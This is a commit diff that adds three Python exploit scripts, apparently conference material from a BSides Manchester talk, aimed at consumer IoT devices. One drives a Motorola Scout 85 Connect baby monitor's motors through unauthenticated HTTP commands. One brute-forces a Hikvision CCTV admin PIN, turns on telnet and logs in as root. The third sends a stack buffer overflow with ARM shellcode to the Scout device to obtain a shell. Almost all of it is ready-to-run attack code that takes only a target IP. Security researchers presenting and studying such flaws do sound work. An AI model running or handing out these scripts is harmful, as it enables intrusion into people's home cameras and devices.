Added BSidesMCR Research

exploits/dance.py

@@ -0,0 +1,39 @@
+#!/usr/bin/python
+# BSidesMCR Presentation Material
+# Exploit for Motorola Scout 85 Connect
+# Dominic Chell <dominic [at] mdsec.co.uk>
+
+
+import time, urllib2
+import sys
+
+ip = sys.argv[1]
+
+print "[*] Increasing speed on motor"
+response = urllib2.urlopen('http://'+ip+'/?action=command&command=motors_speed&setup=6200048000')
+
+
+print "[*] Move to the right"
+response = urllib2.urlopen('http://'+ip+'/?action=command&command=move_right9.9')
+time.sleep(5)
+
+response = urllib2.urlopen('http://'+ip+'/?action=command&command=lr_stop')
+time.sleep(3)
+
+print "[*] Move to the left"
+response = urllib2.urlopen('http://'+ip+'/?action=command&command=move_left9.9')
+time.sleep(5)
+
+response = urllib2.urlopen('http://'+ip+'/?action=command&command=lr_stop')
+time.sleep(3)
+
+print "[*] Go backwards"
+response = urllib2.urlopen('http://'+ip+'/?action=command&command=move_backward9.9')
+
+response = urllib2.urlopen('http://'+ip+'/?action=command&command=lr_stop')
+time.sleep(3)
+
+print "[*] Now forwards"
+response = urllib2.urlopen('http://'+ip+'/?action=command&command=move_forward9.9')
+time.sleep(5)
+

exploits/hikvisioncctvbf.py

@@ -0,0 +1,73 @@
+#!/usr/bin/python
+# BSidesMCR Presentation Material
+# Exploit for Hikvision pin bruteforce
+# Dominic Chell <dominic [at] mdsec.co.uk>
+
+from gevent import monkey
+monkey.patch_all()
+
+import sys, time, urllib2, base64, telnetlib
+
+from random import randint
+import gevent.pool
+
+global password
+global host
+
+def do_brute():
+    global password
+    global host
+
+    for i in xrange(10000, 99999):
+	header = base64.b64encode("admin:" + str(i))
+        url = urllib2.Request("http://"+host+"/ISAPI/Security/userCheck")
+	url.add_header('Authorization', "Basic " + header)
+        response = urllib2.urlopen(url)
+	print "Testing: %s" %(i)
+	if "<statusString>OK</statusString>" in response.read():
+		password = str(i)
+		print "Found Password: %s:\n %s" %(i, response.read())
+		enable_telnetd(header)
+		return
+
+def enable_telnetd(header):
+	global host
+	print "[*] Enabling telnetd"
+	baseURL = "http://"+host+"/ISAPI/System/Network/telnetd"
+	data = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><Telnetd><enabled>true</enabled></Telnetd>"
+	request = urllib2.Request(baseURL, data)
+	request.add_header('Authorization', "Basic " + header)
+	request.get_method = lambda: 'PUT' #if I remove this line then the POST works fine.
+	response = urllib2.urlopen(request)
+	time.sleep(3)
+	login_telnetd()
+
+
+def login_telnetd():
+	global password
+	global host
+	print "[*] Logging in to device"
+	tn = telnetlib.Telnet(host)
+	tn.read_until("dvrdvs login:")
+	print "[*] Sending username 'root'"
+	tn.write("root\n")
+	tn.read_until("Password: ")
+	print "[*] Sending password '"+password+"'"
+    	tn.write(password + "\n")
+	print "[*] Sending commands"
+	tn.write("id;exit\n")
+	print tn.read_all()
+
+	
+
+if __name__ == '__main__':
+	global host
+	global password
+	if len(sys.argv)<2:
+		print "[*] Please supply IP of target"
+		sys.exit()
+
+	password = ""
+	host = sys.argv[1]
+
+	do_brute()

exploits/motorolascout_setupWifi_exploit.py

@@ -0,0 +1,118 @@
+#!/usr/bin/python
+# BSidesMCR Presentation Material
+# Exploit for stack buffer overflow in Motorola Scout 85 Connect
+# Dominic Chell <dominic [at] mdsec.co.uk>
+
+import urllib, sys, socket
+host = sys.argv[1]
+s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+s.connect((host,80)) 
+
+shellcode=(
+
+	# The overflow corrupts the stack pointer.
+	# This needs to be fixed as we push the arguments for execve
+	# to the stack, but as we're on the stack we can use $pc and
+	# pivot to somewhere less important.
+
+	"%0f%d0%a0%e1" # mov sp, pc
+	"%2b%de%8d%e2" # add	sp, sp, #688
+
+	# The shellcode needs a number of null bytes.
+	# 0xff is left as a marker in the shellcode
+	# The nops set a null in r1, write this to
+	# the necessary locations in the shellcode.
+    "%68%10%cf%e5" # strb r1, [pc, #104]
+    "%66%10%cf%e5" # strb r1, [pc, #102]
+    "%6b%10%cf%e5" # strb r1, [pc, #107]
+    "%82%10%cf%e5" # strb r1, [pc, #130]
+    
+    # Jump in to thumb mode
+    "%05%10%8f%e2" # add r1, pc #5
+    "%11%ff%2f%e1" # bx r6
+    "%01%10%8f%e2" # gets corrupted
+    
+
+	"%15%4f"
+	"%80%b4"
+	"%15%4f"
+	"%80%b4"
+	"%15%4f"
+	"%80%b4"
+	"%15%4f"
+	"%80%b4"
+	"%15%4f"
+	"%80%b4"
+	"%15%4f"
+	"%80%b4"
+	"%15%4f"
+	"%80%b4"
+	"%16%4f"
+	"%80%b4"
+	"%0e%4f"
+	"%80%b4"
+	"%15%4f"
+	"%80%b4"
+	"%b6%1b"
+	"%40%b4"
+	"%0f%21"
+	"%69%44"
+	"%0e%1c"
+	"%40%b4"
+	"%10%21"
+	"%69%44"
+	"%0e%1c"
+	"%40%b4"
+	"%0c%21"
+	"%69%44"
+	"%0e%1c"
+	"%40%b4"
+	"%69%46"
+	"%92%1a"
+	"%04%4f"
+	"%80%b4"
+	"%0b%4f"
+	"%80%b4"
+	"%68%46"
+	"%0b%27"
+	"%ff%df"
+	"%ff%41"
+	"%41%41%41%41"
+	"%2f%73%68%ff"
+	"%69%6e%2f%2f"
+	"%65%20%2f%62"
+	"%38%38%20%2d"
+	"%70%20%38%38"
+	"%63%20%2d%6c" # this gets overwritten by nulls
+	"%63%20%2d%6c"
+	"%2d%63%ff%6e"
+	"%2f%62%69%6e"
+)
+
+
+shellcode_len = len(shellcode)/3
+payloadsz = (172 - shellcode_len)/4
+payloadsz+=1
+payload = "%01%10%81%e1"*payloadsz # write nops of eor r1,r1
+
+
+print "shellcode len = " + str(shellcode_len)
+
+payload_len = len(payload)/3
+payload_len += 4
+
+print "payload len = " + str(payload_len)
+
+eip = "%e0%cc%3f%ba" # Assumed static
+
+wifi_pass = "A"
+
+buffer = "GET /?action=command&command=setup_wireless_save&setup=100200"+ str(payload_len+shellcode_len) + "0100000000000"
+buffer += payload + shellcode + eip + wifi_pass
+buffer += " HTTP/1.0\r\nHost: 10.1.1.109\r\n\r\n"
+
+print buffer
+
+s.send(buffer) 
+s.close() 
+